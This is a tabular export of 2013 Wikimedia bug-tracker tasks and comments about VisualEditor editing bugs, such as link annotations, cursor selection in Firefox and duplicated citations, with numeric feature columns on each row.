+220470,Images: Image links are interpreted as image inclusions,This affects VisualEditor on the English Wikipedia.,,,1368981137,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-4k5gqkncjczqm4ffrhqk,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+220465,Images: Image links are interpreted as image inclusions,*** Bug 48596 has been marked as a duplicate of this bug. ***,,,1368979809,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4k5gqkncjczqm4ffrhqk,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+50367,VisualEditor: Whitespace preservation for auto-links not working sometimes(?),"Putting this in DM because it seems the most likely suspect.
+
+Original bug occurred on enwiki (text in the test stolen from there). This feels like a bit of bug 43543 - which was fixed?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://www.mediawiki.org/w/index.php?title=VisualEditor:TestAutolinks&diff=688670&oldid=688669",High,80.0,1368315240,1368379914.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-miessklckuwapsejbpw4,task_description,resolved,True,c1,1,True,False,True,-8,,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,1,0
+219307,VisualEditor: Whitespace preservation for auto-links not working sometimes(?),"Confirmed as fixed in master.
+
+*** This bug has been marked as a duplicate of bug 43543 ***",,,1368379914,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-miessklckuwapsejbpw4,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+50366,VisualEditor: Can't delete-merge two paragraphs together if the first one ends with an inline-alien,"This was happening with <ref>s, but it looks like it'll be an issue with an paragraph that ends with an inline alien:
+
+| Foo.<ref>Ref</ref>
+| Bar.
+
+Backspace with the cursor to the left of the 'B', or delete with the cursor to the right of the <ref> block, has no effect.
+
+The problem with <ref>s will go away(?) when that node handler code is enabled, but is this a wider issue?
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",High,80.0,1368313200,1372369220.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-lyjnjxdzskobjhrp4tgf,task_description,resolved,True,c1,1,True,False,True,-8,,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+219273,VisualEditor: Can't delete-merge two paragraphs together if the first one ends with an inline-alien,This seems to be not an issue anymore - since I rewrote handleDelete method.,,,1372369220,,PHID-USER-s7sn3zjthnxvep34c5ho,True,,,PHID-TASK-lyjnjxdzskobjhrp4tgf,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+50335,VisualEditor: Re-factor key detection to be more robust and not occasionally break/pawn in Firefox,"Inez has some ideas about how to do this, so marking to him for now. Would be nice to document here /home/ we want to do this so someone can pick it up at some point. :-)
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1368215940,1371180920.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-6w7ima76rbpczpaozizw,task_description,resolved,True,c1,1,True,False,True,-8,,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0
+217563,VisualEditor: Re-factor key detection to be more robust and not occasionally break/pawn in Firefox,Now merged and will go out with wmf8 from Thursday 20 June.,,,1371180920,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-6w7ima76rbpczpaozizw,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+217561,VisualEditor: Re-factor key detection to be more robust and not occasionally break/pawn in Firefox,https://gerrit.wikimedia.org/r/68296 (Gerrit Change Ie00becf1162f145134f006b0b4514ba874de9c43) | change APPROVED and MERGED [by jenkins-bot],,,1371180886,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-6w7ima76rbpczpaozizw,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+217558,VisualEditor: Re-factor key detection to be more robust and not occasionally break/pawn in Firefox,Related URL: https://gerrit.wikimedia.org/r/68296 (Gerrit Change Ie00becf1162f145134f006b0b4514ba874de9c43),,,1371074644,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-6w7ima76rbpczpaozizw,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+50289,VisualEditor: Keyboard up/down selection sometimes (but not always) selects two lines rather than one in Firefox,"Go to http://en.wikipedia.org/wiki/Content_Management_Interoperability_Services
+Put the cursor somewhere in the text.
+Type ""Enter"" 2 times.
+Type ""Up"".
+Type a
+Type Enter
+Type b
+Type Up
+Type Left
+Press Shift and hold it
+Type Down
+
+Expected: selection of 1 line
+Actually: selection of 2 lines
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1368090660,1372465847.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-xwv2yy4yt35rtaqt27uj,task_description,resolved,True,c1,1,False,False,True,-8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+214555,VisualEditor: Keyboard up/down selection sometimes (but not always) selects two lines rather than one in Firefox,Fixed in the above.,,,1372465847,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xwv2yy4yt35rtaqt27uj,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+214547,VisualEditor: Keyboard up/down selection sometimes (but not always) selects two lines rather than one in Firefox,"Change 71143 merged by jenkins-bot:
+Firefox misplaces cursor when moving between lines
+
+https://gerrit.wikimedia.org/r/71143",,,1372465519,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xwv2yy4yt35rtaqt27uj,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+214541,VisualEditor: Keyboard up/down selection sometimes (but not always) selects two lines rather than one in Firefox,"Change 71143 had a related patch set uploaded by Christian:
+Firefox misplaces cursor when moving between lines
+
+https://gerrit.wikimedia.org/r/71143",,,1372459066,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xwv2yy4yt35rtaqt27uj,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+214536,VisualEditor: Keyboard up/down selection sometimes (but not always) selects two lines rather than one in Firefox,Can confirm in Firefox (and not in Chrome); it sometimes occurs upwards as well as downwards.,,,1368130754,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xwv2yy4yt35rtaqt27uj,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+50288,VisualEditor: Tab in a slug in Firefox causes a pawn character to be inserted,"Go to http://en.wikipedia.org/wiki/Content_Management_Interoperability_Services
+Put the cursor somewhere in the text.
+Type ""Enter"" 2 times.
+Type ""Up"".
+Type ""Tab""
+
+Wild pawn appears.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1368090300,1369093388.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-7v5fwi2od2mzskuipoyb,task_description,resolved,True,c1,1,False,False,True,-8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+214502,VisualEditor: Tab in a slug in Firefox causes a pawn character to be inserted,"This is a duplicate of bug 48022 which was fixed for wmf4 (so should now work beautifully on enwiki). Sorry for the delayed response.
+
+*** This bug has been marked as a duplicate of bug 48022 ***",,,1369093388,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7v5fwi2od2mzskuipoyb,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+50227,VisualEditor: Dirty diffs causing some citations to be duplicated,"Examining with user what browser/etc. to investigate.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**URL**: http://en.wikipedia.org/w/index.php?title=Indo-Pakistani_War_of_1965&diff=prev&oldid=552704403",High,80.0,1367950620,1368803220.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-vqvckkamqnznu7z5ud6j,task_description,resolved,True,c1,1,True,False,True,-8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1
+211114,VisualEditor: Dirty diffs causing some citations to be duplicated,"On review, this is already fixed in master and will be deployed (as part of wmf4) to the English Wikipedia on 20 May.",,,1368803220,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vqvckkamqnznu7z5ud6j,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+211110,VisualEditor: Dirty diffs causing some citations to be duplicated,"(In reply to comment #4)
+> To me it looks like the VE is dropping a link (with template encapsulation
+> info) near '165 Pakistan tanks' when editing
+> http://en.wikipedia.org/w/index.php?title=Indo-
+> Pakistani_War_of_1965&oldid=551447483.
+> So it looks like a VE bug to me. Can you verify?
+That bug is fixed in the most recent VE release, which is live on mw.org but hasn't hit enwiki yet. Compare https://en.wikipedia.org/wiki/User:Catrope/India-Pakistan and https://www.mediawiki.org/wiki/User:Catrope/India-Pakistan .",,,1368773561,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-vqvckkamqnznu7z5ud6j,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1
+211107,VisualEditor: Dirty diffs causing some citations to be duplicated,To me it looks like the VE is dropping a link (with template encapsulation info) near '165 Pakistan tanks' when editing http://en.wikipedia.org/w/index.php?title=Indo-Pakistani_War_of_1965&oldid=551447483. So it looks like a VE bug to me. Can you verify?,,,1368724692,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-vqvckkamqnznu7z5ud6j,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0
+211103,VisualEditor: Dirty diffs causing some citations to be duplicated,Can you provide us with a test case and verify that the DOM change looks sane?,,,1368720633,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-vqvckkamqnznu7z5ud6j,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,1,0,0,0,0
+211096,VisualEditor: Dirty diffs causing some citations to be duplicated,"Gabriel - As far as I can tell, this bug is coming from Parsoid rather than VisualEditor - can you confirm? I can replicate in VE and Parsoid master locally.",,,1368720428,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vqvckkamqnznu7z5ud6j,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+211090,VisualEditor: Dirty diffs causing some citations to be duplicated,"There was a Parsoid bug to this effect earlier, maybe it came back?",,,1367950671,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-vqvckkamqnznu7z5ud6j,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,1,0,0
+50171,VisualEditor: Typing at the end of linked causes DM and CE to get out of sync,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1367866920,1383768080.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-zzjrcgydauwz7h5g6ufd,task_description,resolved,True,c1,1,True,False,False,-8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+233121,VisualEditor: Typing at the end of linked causes DM and CE to get out of sync,Trevor's commit has been merged; assigning to Inez for the IE-specific fixes to come.,,,1367886453,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-zzjrcgydauwz7h5g6ufd,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+233114,VisualEditor: Typing at the end of linked causes DM and CE to get out of sync,Related URL: https://gerrit.wikimedia.org/r/62481 (Gerrit Change I5f279b06b098960be7bd4ad3f5e6f74b67e31d1a),,,1367870942,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-zzjrcgydauwz7h5g6ufd,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+233108,VisualEditor: Typing at the end of linked causes DM and CE to get out of sync,"This doesn't happen in IE.
+
+1. Place the cursor at the end of a link.
+2. Type some text
+3. See that the text doesn't appear to be linked, but the link inspector option is available
+
+Short term solution as decided by Trevor, Inez and James: Make links not auto-extend in the model, and fix IE so it doesn't auto-extend in the view (to make it work like other browsers).",,,1367867552,,PHID-USER-mpfqwllylfkzpcgkdkvc,True,,,PHID-TASK-zzjrcgydauwz7h5g6ufd,task_subcomment,,True,c1,1,False,,,-8,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+50166,VisualEditor: Unexpected non-pawn characters appear after CTRL-B and CTRL-I,"unexpected untyped characters
+
+Upon loading page in VE: 
+
+Click CTRL-B and type some characters; 
+click CTRL-I and type some characters; 
+
+* often but not always reproducible, seen in Chrome/OSX, also reported in IE and FF: upon typing after ctrl-B or ctrl-I for ""bold"" or ""italic"", characters appear that have not been entered.  see screen shot
+
+* possibly related, seen but not reproducible:  some combination of actions will cause VE to type a string into a page over and over and over without any action on the part of the user.  I'll file a new bug if I can figure out how to repron that behavior.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11070}",High,80.0,1367863980,1371781126.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-zoij2t4he6jsr6wfqjde,task_description,resolved,True,c1,1,False,False,True,-8,,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+232786,VisualEditor: Unexpected non-pawn characters appear after CTRL-B and CTRL-I,I believe we fixed this with the new insertion logic last week. Please re-open if you can reproduce still.,,,1371781126,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zoij2t4he6jsr6wfqjde,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+232782,VisualEditor: Unexpected non-pawn characters appear after CTRL-B and CTRL-I,@James: Feel free to assign to me.,,,1367864226,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-zoij2t4he6jsr6wfqjde,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,0,0,1
+50159,VisualEditor: Pre-annotations not working in spans,"From this bug report on parsoid.wmflabs.org: /mnt/bugs/2013-05-04T01:11:28.439Z-Style_guide%252FAssets_and_gallery
+
+""I typed some text in this paragraph that is styled as a span italic, and VE decided to close and reopen the span on either side of the link. I think that happened before I made the text a link. (This is User:S Page (WMF) here.)""
+
+Relevant diff line below:
+
+− 	
+:<span style=""font-style: italic;"">See Also: [[Commons:Category:MediaWiki style guide]]</span>
+
++ 	
+:<span style=""font-style: italic;"">See also: </span>[[Wikimedia Foundation Design/Agora Icon Set]] and<span style=""font-style: italic;""> [[Commons:Category:MediaWiki style guide]]</span>
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",High,80.0,1367852460,1369247921.0,PHID-USER-slccyo5rqasgpljxny7g,False,,False,PHID-TASK-wiwrmd5v2ykgptbszxoc,task_description,resolved,True,c1,1,True,False,True,-8,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+232265,VisualEditor: Pre-annotations not working in spans,"(In reply to comment #3)
+> Can you explain more clearly how this is still broken? What do you mean by
+> pre-annotation?
+
+On re-testing, this comes down to copy-and-paste inserted content not continuing the existing annotations of the styles into which it had been inserted. Marking as such.
+
+*** This bug has been marked as a duplicate of bug 48720 ***",,,1369247921,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wiwrmd5v2ykgptbszxoc,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,1,0,1
+232256,VisualEditor: Pre-annotations not working in spans,Can you explain more clearly how this is still broken? What do you mean by pre-annotation?,,,1369221776,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-wiwrmd5v2ykgptbszxoc,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,1,0,0
+232250,VisualEditor: Pre-annotations not working in spans,"OK, we've fixed the secondary issues I was having; have narrowed down the original bug to pre-annotations not being applied to the insertion of text into this context - changing this to suit.",,,1368719960,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wiwrmd5v2ykgptbszxoc,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+232247,VisualEditor: Pre-annotations not working in spans,"I think that this partially interacts was a bug that Ed found independently - bug 48110 (now fixed in master). I do not get the span adjusted, but instead get:
+
+:<span style=""font-style: italic;"">See Also: <a href=""Wikimedia_Foundation_Design%2FAgora_Icon_Set"" rel=""mw:WikiLink"">Wikimedia Foundation Design/Agora Icon Set</a> and [[Commons:Category:MediaWiki style guide|<nowiki/>]]<a href=""Commons%3ACategory%3AMediaWiki"" rel=""mw:WikiLink"">Commons:Category:MediaWiki</a> style guide</span>
+
+... which is a total mess.",,,1367876474,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wiwrmd5v2ykgptbszxoc,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+50114,VisualEditor: [Regression] Link insertion annotation makes it difficult to add plain text after a link,"If you add a link to the last word in your paragraph (quite common I'd imagine if you're in the middle of typing a sentence), the insertion annotation behaviour makes any text typed after the link part of that link - which in most cases is not what you meant to do.
+
+Insertion annotations make sense for text style annotations, but not link annotations. This is what Google Docs & LibreOffice do aswell.
+
+--------------------------
+**Version**: unspecified
